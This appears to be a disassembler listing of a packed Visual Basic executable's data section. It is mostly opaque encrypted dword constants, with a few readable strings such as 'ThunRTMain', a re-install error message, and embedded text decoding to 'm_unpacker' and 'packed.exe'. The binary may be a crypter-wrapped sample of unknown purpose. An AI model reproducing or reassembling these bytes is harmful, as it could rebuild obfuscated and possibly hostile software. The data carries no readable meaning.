		dd 36700196h, 595318Dh,	5806062Fh, 0C081D68Bh, 6AF6h, 0C92B5A51h
		dd 2ED1952Bh, 34FF0606h, 0D38B6601h, 0DB58B5Bh,	8106062Bh
		dd 8FED6EEBh, 0F98D8974h, 81060613h, 148546C3h,	1DF2807Fh
		dd 0E45F381h, 0BD8B3FAFh, 6062969h, 0BE081C89h,	4CC193C4h
		dd 8BE981F5h, 6616DC49h, 81358FBFh, 0DC4987C1h,	298D8916h
		dd 81060632h, 0FF958CF9h, 0A7850FFFh, 8DFFFFFFh, 0C2A1F8Dh
		dd 10E906h, 11A0000h, 0CCAD510Ch, 8FB03FF6h, 0F1A3AC0Dh
		dd 8D897F58h, 60628DDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 80C35141h, 0D8131D36h, 665FB430h, 85C7D88Bh
		dd 6061111h, 6B60h, 0C99503F5h,	0C7060627h, 62E4985h, 6
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 6FD868EEh, 25B5FF51h, 8B060613h,	61AA9B5h
		dd 9195FF06h, 6A060607h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 4732C352h, 0A7DCCEEBh
		dd 0FF006A1Eh, 61AC995h, 0EBC08B06h, 0FDF4837Ah, 0AD4C44F0h
		dd 38E0F099h, 90AA19B9h, 0CBCCF0F5h, 0C33025A0h, 9D18F061h
		dd 0BD4C34E6h, 0DDBCF13Fh, 81F875DBh, 492EE38Ch, 982B1E5Ch
		dd 24BB1240h, 973D3EA5h, 0EFB3407Fh, 68266CB3h,	0C8314C0h
		dd 2A19393Bh, 0D2D476C1h, 3D1515BDh, 9A45BE3Ch,	0B2CD93AAh
		dd 0F4D0908h, 6E49C093h, 6F56BE2Fh, 2B16EBCFh, 0D1AB17D0h
		dd 9D3384FCh, 0DB48D3DFh, 6BC0E5B6h, 0E9423373h, 15Ch
		dd 77E705C5h, 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h
		dd 64656B63h, 6578652Eh, 3Bh dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 169A3332h, 1A2FE9h, 2DE76800h, 6EE9060Ch, 68FFFA51h
		dd 60C2EADh, 0FA5164E9h, 2F7D68FFh, 5AE9060Ch, 68FFFA51h
		dd 60C3033h, 0FA5150E9h, 307B68FFh, 46E9060Ch, 68FFFA51h
		dd 60C311Eh, 0FA513CE9h, 317168FFh, 32E9060Ch, 68FFFA51h
		dd 60C31C0h, 0FA5128E9h, 38CF68FFh, 1EE9060Ch, 68FFFA51h
		dd 60C3973h, 0FA5114E9h, 3A5268FFh, 0AE9060Ch, 68FFFA51h
		dd 60C3B4Fh, 0FA5100E9h, 3BCA68FFh, 0F6E9060Ch,	68FFFA50h
		dd 60C3C97h, 0FA50ECE9h, 3D3868FFh, 0E2E9060Ch,	68FFFA50h
		dd 60C3DCFh, 0FA50D8E9h, 435268FFh, 0CEE9060Ch,	68FFFA50h
		dd 60C442Dh, 0FA50C4E9h, 44CF68FFh, 0BAE9060Ch,	0D8FFFA50h
		dd 7290F2B1h, 16349615h, 0B8D6386Fh, 5775D7CCh,	1B16782Bh
		dd 9D067C52h, 3C6B1D3Bh, 0DCC7BCDAh, 812A5C7Ah,	1449CA1Fh
		dd 33D0A7A9h, 9F36354Bh, 47B98DA0h, 0A4194E08h,	4833D14Dh
		dd 9C6086E7h, 61BFEC9Ah, 6684343h, 0BE4F57ACh, 2A790DADh
		dd 24476DCCh, 2BC24B4Ch, 38C72586h, 95B5EE98h, 0FA59B7EEh
		dd 0AC10B1D4h, 6D8933CAh, 0A91CD439h, 204BAEF3h, 87000000h
		dd 7001015Eh, 0C280113Bh, 44A2032Bh, 0CA803091h, 594D6933h
		dd 0F3793CB4h, 0CC2BAEh, 9A670000h, 0D261BFECh,	7056FF3Bh
		dd 0C7ED00C4h, 0FC5A4939h, 9DFBA8DEh, 0B9C077Fh, 7B285AFAh
		dd 0B409BE1Dh, 382DC56Ah, 2EE1B1D7h, 2DC56FD7h,	0AF9BE279h
		dd 6B356254h, 0C4F28736h, 0AB0C6D2Dh, 0E48FF785h, 0C4F20EAFh
		dd 1C7DDE2Dh, 0C1EA9CBAh, 7CF40963h, 0C4F27647h, 0B415762Dh
		dd 0CE02EE23h, 8FF02BC2h, 0B7BED32Dh, 0E273D4CFh, 0D32473ADh
		dd 44760D31h, 0CB0BCBC9h, 20814C72h, 1093EF8Fh,	0B1F290AEh
		dd 0FEE5DB7Ch, 0B454B083h, 179Ch, 75D7D6B3h, 13753057h
		dd 0B71990F5h, 5ABCEB99h, 0FB5D463Ch, 21617700h, 86022082h
		dd 0DAA9C729h, 3B4B69CBh, 38B90E70h, 0D0A8BA03h, 60243A33h
		dd 2ABBE89Ah, 8BB1FE8Ah, 0BAE99DBBh, 15E0458h, 113B7001h
		dd 32BC280h, 0F7B4D272h, 0CA807B42h, 7F107133h,	0CA80734Ah
		dd 0B7187933h, 801BA659h, 627E33CAh, 7927C944h,	9540AEF3h
		dd 7C000000h, 61BFEC9Ah, 575432D2h, 0C4DFA331h,	8052B366h
		dd 275F2DC4h, 8AFC1A7Ch, 1469C321h, 0AA467B0Ch,	0A82BC25Ch
		dd 768BE547h, 89689D2Eh, 9731D2FDh, 0B41291F7h,	3642F55h
		dd 34B0D272h, 9BFA5853h, 3E9C077Bh, 0FE1C7EDFh,	53EA1F84h
		dd 0C83FEEAh, 16D610B0h, 9CED0000h, 0FA8DAB0Dh,	5A2B49ABh
		dd 0B9CBE94Bh, 186A88EAh, 412E298Bh, 4EB0F38Fh,	0E94B5830h
		dd 8BEDB8CBh, 288A196Dh, 0A01D52D3h, 5433D0A9h,	89297A3Eh
		dd 0FB89AFFEh, 9CBA1C87h, 0B5FC1EAh, 61BFEC9Ah,	6684343h
		dd 0BE4F57ACh, 0C2663B89h, 0F591B12Bh, 98F958B6h, 9A3A873Ah
		dd 435F33CAh, 0F68D2D63h, 0CCF251AFh, 0F397A64Ah, 0ABC1AEh
		dd 0ACFD0000h, 2E768B8Dh, 7B18689Dh, 86262BC2h,	0B681A7FCh
		dd 0F17EA155h, 0E0FF64DDh, 0BDF28383h, 0FE5F06B7h, 94EE4CADh
		dd 0EBD2077Fh, 1025F38h, 9DAE3FA0h, 3966578Ch, 2586025Fh
		dd 0BF39DCFFh, 0CA2B0067h, 0BEED9939h, 0D6E71C2Dh, 16005842h
		dd 0A1BF8FB5h, 0C91C6E5h, 0D9B179AAh, 1606DD7Dh, 6C1D0000h
		dd 0CABDDB3Dh, 2A5B79DBh, 89FB197Bh, 0E89AB81Ah, 915E59BBh
		dd 7EE0C3BFh, 197B2860h, 0BB1D88FBh, 58BAE99Dh,	704D8203h
		dd 8433D0ABh, 0EC9AAA6Eh, 0EA0761BFh, 0D30819AAh, 2DC47BEAh
		dd 8483A90Ah, 0C266754Fh, 0C426872Bh, 8B8DAC70h, 0F4C9FE76h
		dd 0F82DC47Bh, 98F9AAD8h, 0F71A637h, 0E52BC27Bh, 31D1D084h
		dd 0A2D5352h, 0B0F28281h, 9A2B6B88h, 77695489h,	2A8BAEF3h
		dd 0A4D00504h, 0D6ACF15Bh, 0A0BD1775h, 552FCF60h, 4F542E4Eh
		dd 6D6C92F1h, 0EFF8C55Ch, 6EE5476Dh, 0C7F02548h, 83E4B2F5h
		dd 773452F2h, 148FF715h, 0EBB564DFh, 0F595F102h, 1550h
		dd 21832267h, 0C7298403h, 6BCDDCA9h, 0E70374Dh,	0AF1192F0h
		dd 6D15CBB4h, 0D2B6D436h, 2E5573D5h, 8FF71577h,	0DC5DB214h
		dd 0D0AC16A7h, 0FCC0D633h, 0D9C39229h, 649BBD7Ch, 0CDD6B03Eh
		dd 0D161F98h, 0A0409C84h, 1508h, 0D93B6A1Fh, 7FE1CCBBh
		dd 23852461h, 0C6287F05h, 67C9DAA8h, 0B5CD836Ch, 1A6E8CEEh
		dd 760D2B8Dh, 0D7AFCD2Fh, 94156ACCh, 0D0AC5E5Fh, 0B4788E33h
		dd 2EBFEC9Ah, 4FADFA8Eh, 0A4FECAF0h, 81B6474Fh,	2BC27B2Fh
		dd 0D6E244A5h, 4949A672h, 7BFD83B8h, 96F731C8h,	0C430BFE2h
		dd 0C825B16Ch, 720237C8h, 68C86B18h, 324FA907h,	0E92C61F2h
		dd 0DBC67BA5h, 38D8E97Ah, 0BCEB994Bh, 789EFD5Bh, 37509CEAh
		dd 0E37A0B6Ch, 9ACF3998h, 0CA6BF623h, 305168C9h, 6D3D635Ch
		dd 376C374Fh, 0E7660FC8h, 65993995h, 7C000014h,	1E3C9E0Dh
		dd 0BAD83A69h, 5C7ADCCBh, 0FB197B28h, 0BFBA1C87h, 41622036h
		dd 0E8C7C1DFh, 881B6886h, 257E0826h, 0B8ED6EC3h, 33D0AD05h
		dd 50DD1E7h, 2DC47BB8h,	0C46BDDE4h, 7C02BF2Dh, 279A2DC4h
		dd 0A2DC47Ch, 1DFA2F7Ch, 0EA840D71h, 1412EE8Eh,	60290000h
		dd 0B6D1EF51h, 0E7795F7h, 6D173597h, 0CCB6D436h, 8D7A75D7h
		dd 9AFCA7DBh, 3D9F0C7Ch, 0DF41641Fh, 84E6C5C1h,	4479AE2Fh
		dd 0A833D0ADh, 15ECE92h, 7654242h, 81B647A8h, 2BC25163h
		dd 0DBCAB9D9h, 4572457Ah, 4FAB7E07h, 13C3AFh, 0AFDA00h
		dd 9C07809Eh, 3A691C3Ah, 0DDCABAD8h, 7E255D7Bh,	8254211Ch
		dd 2341A300h, 0C6E44665h, 6684E6BDh, 0CC218320h, 0ACA7164Bh
		dd 374D33D0h, 0EC9A73h,	29BA1B88h, 0CBC48118h, 3F14C459h
		dd 0C561338Ah, 3258B92Dh, 653E4866h, 9F3FC007h,	362C0E3h
		dd 28E5C1DDh, 0A8EE5DC8h, 259Fh, 0BC05DB00h, 752DC47Bh
		dd 61019211h, 8C5C8221h, 9F0F06D9h, 0F988E62Dh,	7890E762h
		dd 0E50BCFDAh, 133FD5h,	0EC9A0100h, 0EA0761BFh,	0AC0A99EBh
		dd 265BEC4Dh, 2BC2500Ah, 0C5DEA8C8h, 16A70867h,	8C0D937Fh
		dd 88AE1547h, 0FA8929B8h, 0C8EE4DABh, 10A1E1FEh, 0C957C5DBh
		dd 0F04EAF31h, 5235B3D2h, 3596F553h, 5F5E93A4h,	952DC558h
		dd 8B3E0E34h, 2DC55835h, 22618BFCh, 31C02283h, 4A8B059Ah
		dd 0F51B20CAh, 27852067h, 16707E09h, 6FD02F8Dh,	5F443EDEh
		dd 56046D39h, 0D7D6B150h, 0FE8D6375h, 87DAA8EDh, 16000001h
		dd 7001015Eh, 0C26D1D3Bh, 48A6072Bh, 0EC4E5D2Ah, 8CEAB9CEh
		dd 0BCDD66FDh, 1E14F792h, 46ECD5F8h, 224033CBh,	0E50A7D84h
		dd 44F9F074h, 0DEC5C0B9h, 7A8B1C7Dh, 0CA817845h, 0F51B7C33h
		dd 6EB6CB25h, 6688A8DDh, 0B94A31C8h, 0C49B3984h, 0F95ABB2Dh
		dd 9E057D9Bh, 780DAD3Ch, 0F210617Bh, 9EFF67D6h,	2DBBE140h
		dd 0AEF58F55h, 833CEF4Dh, 0A92DC4B4h, 5B6297A8h, 912DC4B4h
		dd 0B8EE0A30h, 0D8AB3949h, 0AF106FCDh, 4D582F4Dh, 0F7B6D1EFh
		dd 0E2C1C666h, 33FF2584h, 0D8366D15h, 0B3A91449h, 0EA4B2DC4h
		dd 8EECBBCAh, 0A8594D6Bh, 0F863C4DFh, 0E2A55C4Ah, 0B45F5E93h
		dd 0B0D22DC4h, 0D43596F3h, 4543E372h, 67C5E0A7h, 0EA49A708h
		dd 0ADAE42C4h, 27B9A8EDh, 0F5000000h, 89FCE89Ah, 0FC5DBC1Ah
		dd 0A102809Eh, 7A2CDA43h, 46A8FB87h, 0ED75BC34h, 0F49434A8h
		dd 0D4FA59B7h, 8D4Ch, 15E8800h,	0BF5F7001h, 96B9DFC6h
		dd 2BC26236h, 2ACA5BBCh, 5F2B515Eh, 0D6674641h,	0EF0D7E3Fh
		dd 0A1E1C971h, 0AB7BA102h, 4DABFA8Dh, 0EF4D582Fh, 2D55F586h
		dd 72345076h, 1CADF88Fh
		dd 759B087Ch, 625D93A5h, 3D0AAEF4h, 46000000h, 7304065Eh
		dd 0A11C5162h, 532DC47Bh, 44A9CCF2h, 882DC47Ch,	0AB16C927h
		dd 792DC47Ah, 95355B4Bh, 0FA59B7EEh, 0B0F20AD4h, 7D03EA1Fh
		dd 0E8492DC4h, 0CE686h,	37D70000h, 682C5251h, 5918h, 0EB9A4400h
		dd 0E51A2BBCh, 2DC47BD8h, 0BDA4BB1Ch, 3F8BAE65h, 31C08CB2h
		dd 9AA3D59Ah, 1C42CEC3h, 48AAF98Eh, 0F04E5D2Ah,	0E3C2C161h
		dd 60952685h, 2DC54B5Dh, 3E082E8Fh, 0D184E220h,	0D23C53C1h
		dd 0BA1893F4h, 5EBCE79Ch, 8B35711Fh, 1EEFB7D3h,	0A8ECA4D2h
		dd 0C5295h, 5ED100h, 25F1A402h,	58A46F50h, 0F917752Eh
		dd 92BD1B8Ah, 0C67E4264h, 0DF11FCAAh, 883298ACh, 4Bh, 2005EC4h
		dd 0C7C06071h, 2A93B6DCh, 0CA2DC47Ch, 0B8E637B3h, 197A6F4Bh
		dd 59EE888h, 602848A7h,	6086E543h, 0E57AE194h, 0DBAB84B7h
		dd 315472D0h, 5FFF1472h, 51DBD040h, 7531DF4Ah, 2F77934Bh
		dd 608F12DEh, 2E25552h,	5E910000h, 5532D200h, 7C1CA156h
		dd 0B9D02DC4h, 716B4DE2h, 0D63798C4h, 55F57480h, 8E52782Fh
		dd 2EBFEC9Ah, 0F6777597h, 62CD2F1h, 0FB892942h,	0C9EF4EACh
		dd 5AA6E3A7h, 0DABED41h, 69h, 0F5C8FD0Eh, 3430C47Bh, 9AF95754h
		dd 0F2B6DC3Dh, 0AC02005Eh, 22D09229h, 36C0CF8Fh, 0E4DC1110h
		dd 0E2DC542h, 182957ADh, 39970C78h, 29F0B4DAh, 87ADFC89h
		dd 0C71D8CF9h, 7FB59229h, 0BAC2FB30h, 0D1322DC4h, 2296E3BAh
		dd 0DAD3CFCh, 73D23077h, 9229894Dh, 0E876D3F9h,	0DB0E556h
		dd 0DF2DC493h, 0E7F71D7Eh, 44h,	2005E13h, 0CCF429ACh, 4D2DC47Bh
		dd 0CED5AE4Eh, 615C1170h, 0D92DC47Ch, 0DD42118Dh, 4AAB0873h
		dd 2CC158E9h, 994C1B7h,	0BFE69FBFh, 18DC0261h, 0D781829h
		dd 0B9D93896h, 2180DECDh, 0EB9A37FBh, 146866BCh, 0DAE31829h
		dd 1A2DC47Bh, 99C3A2B9h, 3F80D69Ch, 25AAF619h, 0BDC5B40Bh
		dd 206684E6h, 532F3D83h, 671FBF50h, 597FDE3Ch, 1492B0A5h
		dd 560A99EDh, 0F12FBEC8h, 832261EEh, 2B64B26Ch,	92B5C7F6h
		dd 6BCC2DC7h, 0E6C374Bh, 89084EAFh, 0B10F9EE9h,	49B02C52h
		dd 8B7630DEh, 6EFCB0FBh, 37458B18h, 0CE91284Bh,	25987FF3h
		dd 485B2747h, 42658BEAh, 0C792E27Eh, 0BCE7A040h, 5E45405Eh
		dd 1A40A100h, 0B3A8EE4Fh, 0DF7F1195h, 49D7FDA8h, 2CBA6E3Dh
		dd 0E3EF4D56h, 4D59051Fh, 73D5CEB4h, 2C723155h,	0D5EB641Eh
		dd 0EBC792E1h, 0E218A5DAh, 7BDCC792h, 1E6A8A55h, 73D43391h
		dd 674442E2h, 0D084AA09h, 0ABE5C1DFh, 52B7A0Bh,	0E0940F77h
		dd 31773452h, 0E713C135h, 8BC0D1BFh, 0C792E232h, 0C32083FFh
		dd 0D8AE3C62h, 0F4293ACBh, 0C792E1C9h, 29861D68h, 0E25A6398h
		dd 399AC792h, 290B2D8h,	0FBC2F784h, 0F1C792E1h,	0DBE92F90h
		dd 0C1B6FCA7h, 88FE03A3h, 29A3671Bh, 99B0FF89h,	4F9E2AD1h
		dd 22B0D632h, 74F14764h, 4E065E30h, 87E8B177h, 67BD1E2Ah
		dd 1F670706h, 299A5E84h, 7BDAE318h, 2E572DC4h, 93B91A77h
		dd 0ED40EF11h, 6378ABh,	29B40000h, 612A8118h, 50360943h
		dd 0C574229Bh, 4B71D22Dh, 0D1276B81h, 0ADFC8929h, 0CBCAF04Fh
		dd 6B1623BAh, 79B90A57h, 0FA903053h, 0D1622DC4h, 0C4FA219Ch
		dd 0D42D32Dh, 2DC4F9B0h, 2182E344h, 734A7F90h, 792DC4FAh
		dd 292EF218h, 39922953h, 0D5E3627h, 841F6787h, 0ECB7D05Eh
		dd 18146896h, 3Ch, 4065E44h, 0F6B5D373h, 4F133998h, 7BCCF429h
		dd 5BF22DC4h, 301D6D4Ch, 11B5DB61h, 7111B142h, 29480C32h
		dd 0FA892953h, 90F785ABh, 0D968BF15h, 4E77D142h, 2B4B8022h
		dd 62264C57h, 0C4760E05h, 0B35CFE2Dh, 88FFFFFCh, 0C47BBC05h
		dd 0DD25392Dh, 0A6DBEC7Bh, 2DC47C17h, 0CBCF9A23h, 9BF89B91h
		dd 4974A93Ah, 0AB2DC4E0h, 0EF96244Ah, 16A75AB8h, 132DC4E0h
		dd 0B6D43271h, 0F78D6CDh, 4E7B4561h, 0A7B8620h,	9DFBA8DCh
		dd 4578AD3Eh, 0A72DC4E0h, 0F483E546h, 1B793254h, 0C0EB9CBCh
		dd 4FDD0362h, 3CDC6D38h, 9FFE5C47h, 3E9C077Fh, 8FE9B9DFh
		dd 24D73575h, 6F928CE0h, 20B9BB7h, 0EB43AFEEh, 25B79h
		dd 0BB05B500h, 3A2DC47Bh, 174CDD25h, 2BC25E5Dh,	0AECC2E8Fh
		dd 337211D7h, 65AA41D2h, 0ABFC0A1Bh, 19370329h,	0EAE3F6Eh
		dd 91127074h, 2D761030h, 7E4A70CFh, 1E7C2760h, 0D667AFC4h
		dd 6549F43Fh, 0EE140A89h, 1496BAEFh, 7C9C31C9h,	1E3C9A09h
		dd 7FE04166h, 0CB7794Ah, 0AA4AA684h, 0CB4h, 8DEFBECBh
		dd 2B8D186Fh, 0CF31780Dh, 72D4D3B1h, 13752E54h,	9796F18h
		dd 6E1A389Ah, 0C2C1DF41h, 236381E3h, 50D12688h,	0D0B3A21Bh
		dd 783C5233h, 61BFEC9Ah, 6221C1D2h, 0D186E543h,	2DC47BECh
		dd 0AF799F00h, 8CC15252h, 2BC85113h, 0DEEF80E1h, 0FFC46E47h
		dd 0C9EFD020h, 0CA5B4A3Bh, 0E7BD6633h, 0A4CAD65Bh, 0D8CFB6D4h
		dd 374BEB7Ah, 89AF0E6Ch, 0C2208BFBh, 7A0B0B68h,	0A0FEADDAh
		dd 11E1DC11h, 0B21333D1h, 58573151h, 82223332h,	0E847A502h
		dd 0E6E59FC2h, 0B61731CEh, 2B3BA81h, 67076384h,	0C10h
		dd 0E1436227h, 87E9C4C3h, 2B8D1C69h, 0CE30770Dh, 6FD1D2B0h
		dd 0ADD58B74h, 127694F6h, 6E153395h, 0CFB7D537h, 9C1D72D4h
		dd 0D0B55667h, 0BC809633h, 0ABFA8929h, 3AC8EE4Dh, 0A7015F4Ch
		dd 0A8B94A4Ah, 0C47C4A73h, 2349AA2Dh, 0F731324h, 2D4B6E94h
		dd 572BC279h, 650594F6h, 0D5638920h, 544F33B1h,	0D43697F6h
		dd 8C1D657Ah, 88356A7Bh, 6C33CA7Fh, 0E2C2E50Bh,	0D831CE53h
		dd 0C4D5E677h, 0CEA42E8Fh, 375DBE2Dh, 770EDCA9h, 4F6DCF30h
		dd 0CDDE6F36h, 9F992836h, 0B66B5FA4h, 2DCE9B07h, 9A668CEDh
		dd 10A10A7Ch, 5CA3D379h, 9AEA3D60h, 0BA86AC0Dh,	72030360h
		dd 99F7B4D2h, 4974A93Ah, 0AB2DCF7Ah, 0F025244Ah, 2BCD4E94h
		dd 0F8BC9B32h, 1225EBADh, 8BC021ECh, 7E0106D6h,	31670763h
		dd 4800000Bh, 0E2006241h, 86A406A5h, 2846A8FFh,	0C7E5475Ch
		dd 8B86E8BBh, 0D96ECE2h, 0ACFB8DABh, 4C572C4Ah,	0F1BACCEAh
		dd 84B93A8Fh, 33D0B639h, 29E1A5BBh, 7BDAE318h, 0B91A2DC4h
		dd 0BF2AA0A2h, 345A440Bh, 65C3E0A6h, 555236D6h,	808652Fh
		dd 0B0924277h, 71882BC2h, 0CDED9F70h, 3597F8F1h, 0D3357017h
		dd 691AD0B5h, 4974A93Ah, 0AB33CB2Eh, 0B858E94Ah, 366D15CFh
		dd 8BDFAFD5h, 7001015Eh, 0C25E1D3Bh, 48A6072Bh,	0CAA22C95h
		dd 55516D33h, 0F39B38B8h, 0AA2FAEh, 9A6B0000h, 1C2DBEEDh
		dd 0C47BD6E7h, 24B5162Dh, 0C47BCEEFh, 97BD1E2Dh, 0CBDAADCBh
		dd 0B947DE6Dh, 0E5EF327Ch, 2262F016h, 0AEE3F485h, 2DC5520Fh
		dd 925E84E5h, 36981374h, 0EE7F87DCh, 476D3A4Eh,	47A03748h
		dd 54699E28h, 982DC511h, 9492037h, 0DB3C6B19h, 536A92B5h
		dd 1F802BC3h, 6863FEAh,	2CCC287Eh, 0A34h, 0D6F3E4Bh, 0AB0D98EFh
		dd 4FB1F88Dh, 0F2545331h, 93F5AED4h, 89F9EF98h,	0EE9AB81Ah
		dd 42415FC1h, 0A3E30163h, 0D051A608h, 0D0B7229Bh, 0F8BCD233h
		dd 5CBEED9Ah, 72BCh, 679CAD00h,	2DC47C56h, 4B0F3596h, 0F78EED9Ah
		dd 51674EE6h, 0A21BD0B5h, 522DC505h, 0D83290F1h, 0D9EA7BBBh
		dd 0F62B4A39h, 2DC505C7h, 456BCC2Dh, 0C2F32E22h, 0E43A42Bh
		dd 7E06D965h, 0B9FE9EFAh, 0D0000009h, 6A88EAB9h, 0E2C8E1Dh
		dd 0B0CE3077h, 4F6DCFD4h, 130E7033h, 950E746Ah,	34731533h
		dd 0D4CFB4D2h, 79325472h, 0C41C217h, 33D0B6B1h,	9A692D43h
		dd 0D261BFECh, 0CDDD5C3Bh, 1C4224DBh, 4DABF88Eh, 9FE58506h
		dd 254BAA08h, 80709D09h, 0E7A8ED92h, 230h, 5BBDAC23h, 0D7CF4806h
		dd 7D956460h, 0C4E27548h, 0B516772Dh, 0F28EC354h, 2BC2E0h
		dd 61770E9Fh, 0DD9FEA60h, 79CE606h, 2244AA9h, 5AB57FDFh
		dd 191976E4h, 0B1D77788h, 0F3594F2h, 53C560ECh,	1371D221h
		dd 0CB5CA4B9h, 644C7F96h, 8314751Fh, 0F5B2D272h, 96213897h
		dd 259AC71Dh, 7115A3C9h, 0A141D032h, 968C6E5h, 723155E3h
		dd 6F5A1E3Dh, 0F393EF8Eh, 8ECh,	0C5278603h, 63C5E0A7h
		dd 7694045h, 0AA0C9BE9h, 4BADF68Ch, 0D1B1A750h,	365270D2h
		dd 8AF91779h, 0EB9BB91Bh, 88095EC0h, 0D0B86A53h, 0B0748A33h
		dd 60BEED9Ah, 18A9E906h, 0C85083E3h, 7F10712Bh,	4A3BA9DFh
		dd 3D9EFD5Bh, 63B4CDBh,	33D0A6B7h, 28B6DC3Dh, 12B24360h
		dd 0C4D93774h, 0E4732BF0h, 94BA1B31h, 11116EC8h, 0A314B80h
		dd 234331CFh, 8CEB4964h, 8EFA9A2Bh, 0E7A1BF21h,	3A4C6AC8h
		dd 95260DBBh, 0F756B4F3h, 0D88149E0h, 0A8AB1247h, 0E0412DCEh
		dd 433D4A7Fh, 8EEA8403h, 84BEEh, 88276200h, 247F0826h
		dd 0C2E1A4C2h, 65424260h, 69DE503h, 0ADCA9A4h, 0ABC92B78h
		dd 4E6CCEDDh, 0EE0C6E35h, 54A90B98h, 0B91F9ED3h, 0BFD533D0h
		dd 6C7D8CFBh, 0C47C8637h, 7405662Dh, 0C47C7E3Fh, 0E70D6E2Dh
		dd 0C47C01C4h, 0B1F5232Dh, 1BAD4455h, 9C888C78h, 6C814B71h
		dd 1E5E9324h, 542BC31Eh, 0C4C262F3h, 1B6B89E7h,	0A092F90h
		dd 2A8C1B6Ah, 0E273B3D0h, 0D3798AADh, 84157631h, 6345DC73h
		dd 0F3010A16h, 5C473FCDh, 1AADCFAh, 0FEFBC9CCh,	9A3A9683h
		dd 7B4h, 8DEFBECBh, 2B8D186Fh, 0CF31780Dh, 72D4D3B1h, 13752E54h
		dd 9796F18h, 6E1A389Ah,	0C2C1DF41h, 236381E3h, 50D12688h
		dd 0D0B8A21Bh, 783C5233h, 0C47BBC05h, 6211752Dh, 0C47C902Dh
		dd 9ED3642Dh, 2DC47C1Fh, 0B21374D5h, 0A4038121h, 0F1C1E746h
		dd 0A93A7A97h, 0C235FB74h, 4F2EC52Bh, 0AC11468Bh, 4033CB4Fh
		dd 0B622C8DFh, 8BE9C2C4h, 0DAA5CB2Ch, 3B48E879h, 9BE80668h
		dd 350AAA08h, 36000007h, 7001015Eh, 0BAFA35D9h,	0DB01A2C4h
		dd 0F1CDA7DCh, 9EFF2BC2h, 32348D40h, 496533CBh,	2B40B05Dh
		dd 1627AEF4h, 63000001h, 89FBE99Ah, 0FC5DBC1Ah,	166F0F9Eh
		dd 93F1B2D0h, 1FADD334h, 0BEDC3A69h, 659AABC8h,	2DC47C58h
		dd 37863B9Ch, 0BD2DC47Ch, 7F9DFB5Ch, 0B03FA104h, 0D02E7510h
		dd 0C6BD4B71h, 0C92781DFh, 0D20338C9h, 422DC47Bh, 2A5883E1h
		dd 0F1FE857Ch, 6B3704C6h, 4A839ADDh, 0B5A4DB78h, 0A288AEBh
		dd 0F9992A79h, 62C11F8Eh, 0DCBD703Ch, 0F82DC571h, 673E47E7h
		dd 80812541h, 0E43EA003h, 5EF5868Ch, 849EDDC9h,	6C6B9167h
		dd 0C4A38E37h, 9FFD5E2Dh, 46A80781h, 0E5436028h, 86E4BFC7h
		dd 88792D5Bh, 2341A300h, 8EE84665h, 6BA03171h, 2BC2785Dh
		dd 0F8B3D373h, 44A607D2h, 0E7456226h, 9E2F738Dh, 0CA886069h
		dd 14749433h, 79DA3997h, 48DFF01Bh, 0C718F397h,	0FC183E70h
		dd 3E46E6AAh, 0D3B54369h, 89AC43D4h, 6B4EFA59h,	0F2815177h
		dd 0E136705Bh, 0F41A288Bh, 27852266h, 0DF70B0CDh, 0C94546AAh
		dd 0C92B8C31h, 6CCEDDABh, 0DD6E354Eh, 385E453Dh, 4A39D968h
		dd 789EFD5Bh, 1015EB4h,	50F53B70h, 9AAB2BC2h, 0CAA75865h
		dd 87C9C33h, 49143A9Bh,	5BFB8AE8h, 0E23812Ch, 9FB4D683h
		dd 0D465C663h, 0CAB01E9Fh, 476DCE33h, 7DDFCEB9h, 15A8DDEEh
		dd 0D733CAB0h, 78D6CDB7h, 1BA1B819h, 6BFC5438h,	5E3BFF25h
		dd 0F3A60406h, 2DC47BCEh, 25832263h, 0EE6F8007h, 0D56E5F8Bh
		dd 0CBF654B5h, 0FFB7099Dh, 0A64AC3E3h, 4AA8EE1Bh, 0A7CDDAAAh
		dd 401Fh, 0ED9A5B00h, 10AD60BEh, 142DC47Ch, 89246303h
		dd 0A25F4763h, 5C6196E5h, 902DC47Ch, 0DD6CCE2Fh, 0FE5C4B3Dh
		dd 0AB56799Fh, 952DC45Bh, 0C49D5D60h, 0DCA1D52Dh, 6227BB26h
		dd 0A143A405h, 0FFFFFF93h, 0BFEC9ACDh, 5E085C69h, 58AE0406h
		dd 3A83B8C9h, 0BA2DC47Ch, 5B4A3959h, 5AA67135h,	0DABED41h
		dd 4Ah,	4E065E49h, 483AD68Ch, 879EFD5Bh, 0F1520093h, 0FF89299Bh
		dd 0CDF352B0h, 7C2499CEh, 0FD942DC4h, 86FD6E11h, 9243081Fh
		dd 50B17CA2h, 9A5329FAh, 64598EEDh, 882DC47Ch, 628A1027h
		dd 1C98C1C5h, 146865BBh, 2A18h,	65E4400h, 1829AE04h, 15971881h
		dd 85FDAB41h, 7497BD1Eh, 2DC48749h, 643F44D2h, 8929AD03h
		dd 8887ADFCh, 0BEED9AB2h, 9A146868h, 0AB5EBCEBh, 2DC47C12h
		dd 3FC2E412h, 4AFD5F46h, 2DC47721h, 0F3588123h,	9AADFFFFh
		dd 25CBEEDh, 314A5EDh, 0C47BEFCEh, 7EA4052Dh, 678A4A7Fh
		dd 1F802BC2h, 5895EE8Eh, 9F8DF7C2h, 0E2586DAh, 0A9F9FA46h
		dd 6A365C2Ah, 0CA860AB7h, 0F9908F33h, 0AE6F1EFEh, 132F559Eh
		dd 5A767A93h, 7F1AEF4h,	2D000000h, 118h, 15E4400h, 0B0D97001h
		dd 3C0E3DF2h, 0FB302F55h, 2BC281A5h, 0FD9D2E8Fh, 28F41A89h
		dd 9D2E7D0Ah, 93E09C06h, 83A3A27Ch, 0B080A605h,	0CAE8DBFDh
		dd 0A6FD8633h, 465D2644h, 1C18DCE8h, 0B8CB3670h, 65FC8BEDh
		dd 2261968Ch, 0BD4B71FEh, 8694DAC9h, 685DA300h,	0E1A55C4Ah
		dd 0A64A0EC2h, 0A96D414Ah, 0AF920FA6h, 2E5DC7CBh, 0AC8008h
		dd 5EBC0000h, 29AA0002h, 1DE28118h, 55D08E7Bh, 28B40C2Fh
		dd 96652DC5h, 0C532940h, 0EC9A3798h, 85C69BFh, 0AE04065Eh
